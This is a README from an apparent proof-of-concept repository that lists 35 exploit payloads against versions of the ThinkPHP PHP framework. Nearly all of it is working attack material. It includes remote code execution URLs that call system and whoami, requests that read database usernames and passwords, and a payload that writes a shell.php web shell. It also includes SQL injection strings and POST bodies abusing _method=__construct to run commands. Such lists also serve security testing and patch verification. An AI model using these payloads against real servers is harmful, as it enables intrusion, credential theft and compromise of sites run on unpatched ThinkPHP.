└── README.md /README.md: -------------------------------------------------------------------------------- 1 | # thinkphp-RCE-POC
2 | 官方公告:
3 | 1、https://blog.thinkphp.cn/869075
4 | 2、https://blog.thinkphp.cn/910675
5 | 6 | POC：
7 | # thinkphp 5.0.22
8 | 1、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username
9 | 2、http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password
10 | 3、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
11 | 4、http://url/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
12 | # thinkphp 5
13 | 5、http://127.0.0.1/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
14 | # thinkphp 5.0.21
15 | 6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
16 | 7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
17 | # thinkphp 5.1.*
18 | 8、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
19 | 9、http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=system&data=cmd
20 | 10、http://url/to/thinkphp5.1.29/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
21 | 11、http://url/to/thinkphp5.1.29/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
22 | 12、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
23 | 13、http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
24 | 14、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
25 | 15、http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
26 | # 未知版本
27 | 16、?s=index/\think\module/action/param1/${@phpinfo()}
28 | 17、?s=index/\think\Module/Action/Param/${@phpinfo()}
29 | 18、?s=index/\think/module/aciton/param1/${@print(THINK_VERSION)}
30 | 19、index.php?s=/home/article/view_recent/name/1'
31 | header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
32 | 20、index.php?s=/home/shopcart/getPricetotal/tag/1%27
33 | 21、index.php?s=/home/shopcart/getpriceNum/id/1%27
34 | 22、index.php?s=/home/user/cut/id/1%27
35 | 23、index.php?s=/home/service/index/id/1%27
36 | 24、index.php?s=/home/pay/chongzhi/orderid/1%27
37 | 25、index.php?s=/home/pay/index/orderid/1%27
38 | 26、index.php?s=/home/order/complete/id/1%27
39 | 27、index.php?s=/home/order/complete/id/1%27
40 | 28、index.php?s=/home/order/detail/id/1%27
41 | 29、index.php?s=/home/order/cancel/id/1%27
42 | 30、index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+
43 | 31、POST /index.php?s=/home/user/checkcode/ HTTP/1.1
44 | Content-Disposition: form-data; name="couponid"
45 | 1') union select sleep('''+str(sleep_time)+''')#
46 | # thinkphp 5.0.23（完整版）debug模式
47 | 32、(post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx
48 | # thinkphp 5.0.23(完整版)
49 | 33、（post）public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al 50 | # thinkphp 5.0.10（完整版）
51 | 34、(post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system 52 | # thinkphp 5.1.* 和 5.2.* 和 5.0.*
53 | 35、(post)public/index.php (data)c=exec&f=calc.exe&_method=filter 54 | --------------------------------------------------------------------------------